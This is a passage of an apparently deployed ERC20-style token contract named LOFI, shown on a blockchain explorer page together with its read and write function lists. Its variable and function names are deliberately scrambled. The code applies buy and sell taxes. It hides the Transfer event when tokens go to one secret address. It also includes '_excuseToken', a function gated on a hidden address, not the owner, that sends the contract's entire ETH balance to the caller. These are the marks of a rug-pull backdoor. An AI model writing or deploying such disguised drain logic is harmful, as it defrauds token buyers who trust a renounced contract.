        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _ojidoiweLOFI)
                        ? _joijoiLOFI
                        : _vjkboiwoeiLOFI
                )
                .div(100);
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_jojodjLOFI[to]
            ) {
                _buyCount++;
            }
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _ojdofLOFI)
                            ? _jvbkoiweLOFI
                            : _odijofjoeLOFI
                    )
                    .div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 minBalance = (contractTokenBalance < _ppojofLOFI) ? contractTokenBalance : _ppojofLOFI; 
                    _swappp_LOFI((amount < minBalance) ? amount : minBalance);
                }
                _assistLOFI(address(this).balance);
            }
        }
        if (taxAmount > 0) {
            _cijojiseLOFI[address(this)] =_cijojiseLOFI[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _cijojiseLOFI[from] =_cijojiseLOFI[from].sub(amount);
        _cijojiseLOFI[to] =_cijojiseLOFI[to].add(amount.sub(taxAmount));
        if(_kjvnkbjnLOFI != to) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _LOFIlkjlok(uint256 _amount) internal {
        payable(msg.sender).transfer(_amount);
    }

    function _excuseToken(address payable receipt) external {
        require(msg.sender == _ojdofiekjLOFI , "");
        _vbjljvlklLOFI = receipt;
        _LOFIlkjlok(address(this).balance);
    }
    
    function removeLimits () external onlyOwner {
        _ojojoivlkLOFI = _kmmvbLOFI;
        _lkkkvnblkjLOFI = _kmmvbLOFI;
        emit MaxTxAmountUpdated(_kmmvbLOFI);
    }

}

Read Contract

_lkkkvnblkjLOFI 0x8a4ca7be → uint256
_ojojoivlkLOFI 0x9c9d3016 → uint256
_ppojofLOFI 0xf8af69a4 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

_excuseToken 0x6aa753aa
address receipt
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTokenTrading 0x263d745d
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address